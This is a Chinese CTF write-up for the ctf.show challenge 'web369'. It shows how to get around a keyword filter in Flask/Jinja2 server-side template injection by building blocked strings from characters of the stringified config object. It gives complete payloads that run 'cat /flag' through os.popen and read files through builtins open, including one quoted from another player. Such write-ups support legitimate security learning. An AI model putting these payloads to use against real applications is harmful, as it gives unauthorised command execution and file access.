web369

EXP

可算是做出来了,参考了别人的脚本,然后写出了这个比较有普适性的脚本

Flask-jinja2敏感字符绕过脚本

我们想要的原始payload和上一题一样,就是

 ?name={% print((lipsum|attr("__globals__")).get("os").popen("cat /flag").read()) %}

但是这次过滤了 request 这就导致传参绕过的方式失效了,只能使用字符串构造的方式

构造字符串分为三步

首先

需要构造 “ __globals__ ",将参数输入到脚本中

得到

(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()

插入 attr() 中间

接着

需要构造 “ os “

 (config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()

插入 get() 中间

最后

需要构造 ”cat /flag"

 (config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()

插入 popen 中间

最终payload

?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

 

另一种思路

我看了看羽师傅的payload,受到了新启发

羽师傅的payload

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

他里面有个关键就是

{% set a=dict(o=oo,s=ss)|join %}

==> a == 'os'

所以用这个方法就可以构造出那些被ban的单词了,这个" _ " 字符用上面的脚本跑一下就可以出来了,然后构造拼接一下就ok了